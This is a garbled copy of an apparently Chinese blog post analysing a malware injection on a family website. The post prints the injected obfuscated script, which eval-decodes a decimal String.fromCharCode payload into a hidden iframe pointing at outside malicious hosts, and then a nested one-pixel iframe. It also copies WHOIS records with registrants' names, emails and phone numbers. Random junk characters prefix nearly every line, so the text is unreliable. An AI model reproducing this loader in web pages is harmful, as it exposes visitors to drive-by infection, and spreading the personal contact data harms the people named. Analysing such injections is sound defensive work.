首发在我的博客里面，
[{Fr{La`D' "]LNw=S http://www.areway.cn/?p=175 T5z %X:VD( Bt Bo%t& "ltvD\ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
8q)2 )p `-\4Dx1!q <script>t=’60,105,102,114,97,109,101,
Z%`}
`( 32,115,114,99,61,104,116,116,112,58,47,47,
j5R= K*y 102,114,101,101,46,117,45,117,117,117,46,99,
x~$P.X7(~ 110,47,101,114,114,111,114,46,104,116,109,
GLwL'C'591 32,119,105,100,116,104,61,49,48,48,32,104,
CHd w>/5 101,105,103,104,116,61,48,62,60,47,105,102,
N Rcg~Nu 114,97,109,101,62′;
) 3.udx t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
-v&Q 'a a,d\< mx <script>t=’60,105,102,114,97,109,101,32,115,
Ki ^m&P 114,99,61,104,116,116,112,58,47,47,102,114,
wC{ =o`v 101,101,46,117,45,117,117,117,46,99,110,47,
~"gOq"y 5p 101,114,114,111,114,46,104,116,109,32,119,
7Hf6$2Wh 105,100,116,104,61,49,48,48,32,104,101,105,
u,PrEmy- 103,104,116,61,48,62,60,47,105,102,114,97,
m,K\e 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
RL~ \/# document.write(t);</script>
#Jy+: |jJ /_* : <html xmlns=”
|O+R%'z'< http://www.w3.org/1999/xhtml E5jK}1t4V “>
/Or76kE <head>
y@~.b^?_u <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Fy`VQ\%7t <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
).9-=P HlX <title>首页 - 爱生活家庭网
;)83tx
/ 3Nr8H.u&q 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
* gMuo6 转换字符串后的大概内容是（谁点击后果自付）：
Xvi{A]V <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
56>Zqtp* l2 gI2Cioa 查询玉米u-uuu.cn的详细信息：
A!Ng@r Domain Name: u-uuu.cn
`*KS`
z? ROID: 20070901s10001s64972306-cn
>6 :slNM# Domain Status: ok
bLCr h(< Registrant Organization: 王雷
~SV;"e2N. Registrant Name: 王雷
*X*D,
VY Administrative Email:
czlovexs@126.com +P~zn= Sponsoring Registrar: 北京万网志成科技有限公司
O~">-'f Name Server:ns.yovole.com
aMm`G}9n Name Server:ns1.yovole.com
I4m)5G?O2 Registration Date: 2007-09-01 17:54
@`%.\_ Expiration Date: 2008-09-01 17:54
/P^@d L 最后PING了一下地址 都没有什么….
Bpo~x2p %- %/3 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
4d!&.Qo9 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
;f?OT7>kN <script language=”javascript” src=”
@faf http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script |g8
]WFc >
Z'S>i*Ts
这个玉米应该有可能是木马作者的：
(niZ N_qv foafau.info的详细信息：
\M:, Vg Access to INFO WHOIS information is provided to assist persons in
F:hJ^ :BP determining the contents of a domain name registration record in the
+(PtOo. Afilias registry database. The data in this record is provided by
$N,9 e Afilias Limited for informational purposes only, and Afilias does not
8'^eH1d ' guarantee its accuracy. This service is intended only for query-based
#0!C3it6c access. You agree that you will use this data only for lawful purposes
&bB p`h and that, under no circumstances will you use this data to: (a) allow,
5mE R&SX enable, or otherwise support the transmission by e-mail, telephone, or
:".! 6~:2 facsimile of mass unsolicited, commercial advertising or solicitations
<Y~V!9(~{Q to entities other than the data recipient’s own existing customers; or
)byQ=-< 1 (b) enable high volume, automated, electronic processes that send
8y|(]5
'r queries or data to the systems of Registry Operator, a Registrar, or
rQKBT]?y Afilias except as reasonably necessary to register domain names or
Bfi9%:eG modify existing registrations. All rights reserved. Afilias reserves
XKks j!'B the right to modify these terms at any time. By submitting this query,
H#w?$?nIWu you agree to abide by this policy.
f8[2$i*cL Domain ID:D22418703-LRMS
hzKfYJcQ| Domain Name:FOAFAU.INFO
"_?^uymw Created On:20-Nov-2007 16:05:42 UTC
3 vr QY9H> Last Updated On:20-Nov-2007 16:05:44 UTC
[POy" O Expiration Date:20-Nov-2008 16:05:42 UTC
uA}as m Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
I]I5!\\ &[ Status:CLIENT DELETE PROHIBITED
E62*J$wN@ Status:CLIENT RENEW PROHIBITED
;`F0
%0d Status:CLIENT TRANSFER PROHIBITED
+|#:*GZ Status:CLIENT UPDATE PROHIBITED
&<tji8Dj Status:TRANSFER PROHIBITED
hrS/3c'<Z Registrant ID:GODA-040110615
NA\,o;ka Registrant Name:liu hong
0;k 3 Registrant Organization:
1$Eiv8xd Registrant Street1:beijing
.3ic%u;|D Registrant Street2:
R^PQ`$W 'R Registrant Street3:
]'M4Un u#@ Registrant City:beijing
\[,7# Registrant State/Province:
J~ c]9t Registrant Postal Code:100000
$f)Y
!<bC Registrant Country:CN
J+ .t \ R Registrant Phone:+86.860108888777
OW #pBeX99 Registrant Phone Ext.:
@]2cL Registrant FAX:
rNg E/=X Registrant FAX Ext.:
_a.Q@A4' Registrant Email:bbbshiji@163.com
+A:}5{ Admin ID:GODA-240110615
`8'|g8,wb0 Admin Name:liu hong
Ge97e/ CY Admin Organization:
):.]4n{L Admin Street1:beijing
sq<y2j1oF Admin Street2:
} * BY!5 Admin Street3:
;{Ovqo| Admin City:beijing
BF]b\ /I Admin State/Province:
DtZkrj)D/ Admin Postal Code:100000
A#8/:t1AW Admin Country:CN
'etCIl3 Admin Phone:+86.860108888777
xNm<` Y? Admin Phone Ext.:
Zu+Z7@$}/ Admin FAX:
z6Mf>q Admin FAX Ext.:
$
Q2|{* Admin Email:bbbshiji@163.com
+, PBhB Billing ID:GODA-340110615
"`
9W"A= Billing Name:liu hong
xvrCm`3n@ Billing Organization:
;x ry Billing Street1:beijing
;OVJM
qg Billing Street2:
bfrBHW# Billing Street3:
b,{?+8 Billing City:beijing
V qYe0-^=P Billing State/Province:
cd EZ
Y Billing Postal Code:100000
4~1_%wb Billing Country:CN
T?% F Billing Phone:+86.860108888777
g4-HUc zk Billing Phone Ext.:
KH[%HN5v Billing FAX:
{ >4exyu6 Billing FAX Ext.:
.m +KXl P Billing Email:bbbshiji@163.com
YE0s5bB6 Tech ID:GODA-140110615
ggbew6L$Z Tech Name:liu hong
2I#fws b Tech Organization:
mNuv>GAb Tech Street1:beijing
* .Kc-f4mP Tech Street2:
:uMD$zF'5 Tech Street3:
8-+IcyUza Tech City:beijing
FTk!M n88 Tech State/Province:
B04Br~hel* Tech Postal Code:100000
*;4r|# LG Tech Country:CN
ZA:YoiaC# Tech Phone:+86.860108888777
6wxQ_Qz:Q Tech Phone Ext.:
Uh&MoIBs# Tech FAX:
Dj %jrtT Tech FAX Ext.:
?BLd~L+ Tech Email:bbbshiji@163.com
kOkgsQQ Name Server:NS27.DOMAINCONTROL.COM
r$0" Y-a Name Server:NS28.DOMAINCONTROL.COM
H!vvdp?Z Name Server:
T>L6 X:d Name Server:
!O $EVl Name Server:
*S<>_R 8 Name Server:
/Nxy?g|, Name Server:
s V{[~U,| Name Server:
;O. U-s Name Server:
`` zg |h Name Server:
O5e9vQ H Name Server:
Gn&)*qCO Name Server:
f?
ko%c_p Name Server:
\|wV Ii
\ 1|T 接着下载每个文件里面的代码：
&@{ Ba~S 一步一步看..
=f{r+'[;^ 
2MJ0 [9 
J *^|ojX 
]D<r5P% 
w~1K93/p! 
LN_6>u 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
